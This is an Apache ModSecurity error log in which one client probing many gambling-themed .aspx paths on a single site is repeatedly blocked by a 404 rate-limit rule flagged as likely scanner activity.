[Tue Feb 10 04:26:42.964707 2026] [:error] [pid 47837:tid 47901] [client 65.108.125.120:62756] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYpDAnFY8KYFPX79Z4nDIwAAAIE"]
[Tue Feb 10 04:26:45.041564 2026] [:error] [pid 47837:tid 47908] [client 65.108.125.120:62760] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYpDBXFY8KYFPX79Z4nDJgAAAIg"]
[Tue Feb 10 04:26:46.842817 2026] [:error] [pid 47831:tid 47874] [client 65.108.125.120:62764] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYpDBidxbZYarWVkiAAeVwAAAEE"]
[Tue Feb 10 04:26:48.897611 2026] [:error] [pid 47837:tid 47923] [client 65.108.125.120:63174] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYpDCHFY8KYFPX79Z4nDLgAAAJc"]
[Tue Feb 10 04:26:50.967034 2026] [:error] [pid 47937:tid 47951] [client 65.108.125.120:63182] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYpDCspqXpC2CvJ3fONsfgAAAMw"]
[Tue Feb 10 04:26:53.013299 2026] [:error] [pid 47937:tid 47947] [client 65.108.125.120:63198] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYpDDcpqXpC2CvJ3fONshQAAAMg"]
[Tue Feb 10 04:26:55.069344 2026] [:error] [pid 47937:tid 47954] [client 65.108.125.120:63202] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYpDD8pqXpC2CvJ3fONsjQAAAM8"]
[Tue Feb 10 04:26:57.208315 2026] [:error] [pid 47937:tid 47945] [client 65.108.125.120:63206] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYpDEcpqXpC2CvJ3fONskgAAAMY"]
[Tue Feb 10 04:26:59.182460 2026] [:error] [pid 47937:tid 47944] [client 65.108.125.120:17292] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYpDE8pqXpC2CvJ3fONsngAAAMU"]
[Tue Feb 10 04:27:01.235801 2026] [:error] [pid 47831:tid 47884] [client 65.108.125.120:17302] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYpDFSdxbZYarWVkiAAeaQAAAEs"]
[Tue Feb 10 04:27:03.197925 2026] [:error] [pid 47831:tid 47880] [client 65.108.125.120:17316] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYpDFydxbZYarWVkiAAebwAAAEc"]
[Tue Feb 10 04:27:05.326098 2026] [:error] [pid 47831:tid 47876] [client 65.108.125.120:17320] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYpDGSdxbZYarWVkiAAecwAAAEM"]
[Tue Feb 10 04:27:07.398682 2026] [:error] [pid 47831:tid 47881] [client 65.108.125.120:17332] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYpDGydxbZYarWVkiAAedgAAAEg"]
[Tue Feb 10 04:27:51.646784 2026] [:error] [pid 47831:tid 47883] [client 65.108.125.120:55484] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYpDRydxbZYarWVkiAAewQAAAEo"]
[Tue Feb 10 04:27:53.499742 2026] [:error] [pid 47830:tid 47864] [client 65.108.125.120:55490] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYpDSUco45BZs8e301AW1wAAABI"]
[Tue Feb 10 04:27:55.449372 2026] [:error] [pid 47937:tid 47955] [client 65.108.125.120:55496] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYpDS8pqXpC2CvJ3fONtMQAAANA"]
[Tue Feb 10 04:27:57.461504 2026] [:error] [pid 47937:tid 47954] [client 65.108.125.120:55512] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYpDTcpqXpC2CvJ3fONtNwAAAM8"]
[Tue Feb 10 04:27:59.446247 2026] [:error] [pid 47837:tid 47922] [client 65.108.125.120:44206] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYpDT3FY8KYFPX79Z4nDmQAAAJY"]
[Tue Feb 10 04:28:01.288871 2026] [:error] [pid 47831:tid 47881] [client 65.108.125.120:44220] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYpDUSdxbZYarWVkiAAe1QAAAEg"]
[Tue Feb 10 04:28:03.185372 2026] [:error] [pid 47830:tid 47864] [client 65.108.125.120:44222] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYpDU0co45BZs8e301AW5wAAABI"]
[Tue Feb 10 04:28:05.108892 2026] [:error] [pid 47837:tid 47914] [client 65.108.125.120:44228] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYpDVXFY8KYFPX79Z4nDqwAAAI4"]
[Tue Feb 10 04:28:07.179816 2026] [:error] [pid 47937:tid 47952] [client 65.108.125.120:44230] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYpDV8pqXpC2CvJ3fONtSQAAAM0"]
[Tue Feb 10 04:28:09.109616 2026] [:error] [pid 47830:tid 47857] [client 65.108.125.120:57540] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYpDWUco45BZs8e301AW7gAAAAs"]
[Tue Feb 10 04:28:11.066710 2026] [:error] [pid 47830:tid 47851] [client 65.108.125.120:57544] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYpDW0co45BZs8e301AW9QAAAAU"]
[Tue Feb 10 04:28:13.122641 2026] [:error] [pid 47837:tid 47915] [client 65.108.125.120:57554] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYpDXXFY8KYFPX79Z4nDugAAAI8"]
[Tue Feb 10 04:28:15.176699 2026] [:error] [pid 47830:tid 47859] [client 65.108.125.120:57566] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYpDX0co45BZs8e301AXBAAAAA0"]
[Tue Feb 10 04:28:17.104627 2026] [:error] [pid 47831:tid 47889] [client 65.108.125.120:57574] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYpDYSdxbZYarWVkiAAfAQAAAFA"]
[Tue Feb 10 04:28:19.073042 2026] [:error] [pid 47837:tid 47909] [client 65.108.125.120:38010] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYpDY3FY8KYFPX79Z4nDwwAAAIk"]
[Tue Feb 10 04:28:21.140787 2026] [:error] [pid 47830:tid 47853] [client 65.108.125.120:38018] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYpDZUco45BZs8e301AXEQAAAAc"]
[Tue Feb 10 04:28:23.176463 2026] [:error] [pid 47837:tid 47923] [client 65.108.125.120:38022] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYpDZ3FY8KYFPX79Z4nD1QAAAJc"]
[Tue Feb 10 04:28:25.135018 2026] [:error] [pid 47837:tid 47908] [client 65.108.125.120:38026] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYpDaXFY8KYFPX79Z4nD6QAAAIg"]
[Tue Feb 10 04:28:27.243010 2026] [:error] [pid 47831:tid 47873] [client 65.108.125.120:38032] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYpDaydxbZYarWVkiAAfNgAAAEA"]
[Tue Feb 10 04:28:29.310260 2026] [:error] [pid 47831:tid 47884] [client 65.108.125.120:60298] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYpDbSdxbZYarWVkiAAfPwAAAEs"]
[Tue Feb 10 04:28:31.270864 2026] [:error] [pid 47937:tid 47941] [client 65.108.125.120:60306] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYpDb8pqXpC2CvJ3fONtmgAAAMI"]
[Tue Feb 10 04:28:33.373909 2026] [:error] [pid 47831:tid 47894] [client 65.108.125.120:60314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYpDcSdxbZYarWVkiAAfUAAAAFU"]
[Tue Feb 10 04:28:35.434969 2026] [:error] [pid 47837:tid 47919] [client 65.108.125.120:60326] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYpDc3FY8KYFPX79Z4nECgAAAJM"]
[Tue Feb 10 04:28:37.572669 2026] [:error] [pid 47830:tid 47866] [client 65.108.125.120:22396] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYpDdUco45BZs8e301AXPwAAABQ"]
[Tue Feb 10 04:28:39.585478 2026] [:error] [pid 47837:tid 47909] [client 65.108.125.120:22400] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYpDd3FY8KYFPX79Z4nEFgAAAIk"]
[Tue Feb 10 04:28:41.710893 2026] [:error] [pid 47830:tid 47854] [client 65.108.125.120:22414] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYpDeUco45BZs8e301AXSQAAAAg"]
[Tue Feb 10 04:28:43.662814 2026] [:error] [pid 47831:tid 47874] [client 65.108.125.120:22428] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYpDeydxbZYarWVkiAAfbQAAAEE"]
[Tue Feb 10 04:28:45.656257 2026] [:error] [pid 47830:tid 47848] [client 65.108.125.120:22440] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYpDfUco45BZs8e301AXUgAAAAI"]
[Tue Feb 10 04:29:29.730356 2026] [:error] [pid 47937:tid 47951] [client 65.108.125.120:35830] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYpDqcpqXpC2CvJ3fONuIAAAAMw"]
[Tue Feb 10 04:29:31.664281 2026] [:error] [pid 47830:tid 47868] [client 65.108.125.120:35842] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYpDq0co45BZs8e301AXlQAAABY"]
[Tue Feb 10 04:29:33.778624 2026] [:error] [pid 47831:tid 47877] [client 65.108.125.120:35858] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYpDrSdxbZYarWVkiAAfwwAAAEQ"]
[Tue Feb 10 04:29:35.913641 2026] [:error] [pid 47830:tid 47863] [client 65.108.125.120:35882] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYpDr0co45BZs8e301AXnQAAABE"]
[Tue Feb 10 04:29:37.907195 2026] [:error] [pid 47831:tid 47894] [client 65.108.125.120:46994] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYpDsSdxbZYarWVkiAAfywAAAFU"]
[Tue Feb 10 04:29:39.877013 2026] [:error] [pid 47831:tid 47877] [client 65.108.125.120:47002] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYpDsydxbZYarWVkiAAfzAAAAEQ"]
[Tue Feb 10 04:29:41.883988 2026] [:error] [pid 47831:tid 47878] [client 65.108.125.120:47004] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYpDtSdxbZYarWVkiAAfzwAAAEU"]
[Tue Feb 10 04:29:43.915185 2026] [:error] [pid 47937:tid 47959] [client 65.108.125.120:47020] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYpDt8pqXpC2CvJ3fONuOAAAANQ"]
[Tue Feb 10 04:29:46.037059 2026] [:error] [pid 47937:tid 47952] [client 65.108.125.120:47030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYpDuspqXpC2CvJ3fONuQQAAAM0"]
[Tue Feb 10 04:29:48.158393 2026] [:error] [pid 47830:tid 47859] [client 65.108.125.120:26030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYpDvEco45BZs8e301AXuwAAAA0"]
[Tue Feb 10 04:29:50.185880 2026] [:error] [pid 47937:tid 47960] [client 65.108.125.120:26044] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYpDvspqXpC2CvJ3fONuSwAAANU"]
[Tue Feb 10 04:29:52.393869 2026] [:error] [pid 47830:tid 47861] [client 65.108.125.120:26046] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYpDwEco45BZs8e301AXwAAAAA8"]
[Tue Feb 10 04:29:54.310591 2026] [:error] [pid 47837:tid 47922] [client 65.108.125.120:26050] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYpDwnFY8KYFPX79Z4nEkAAAAJY"]
[Tue Feb 10 04:29:56.288180 2026] [:error] [pid 47831:tid 47895] [client 65.108.125.120:26066] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYpDxCdxbZYarWVkiAAf7AAAAFY"]
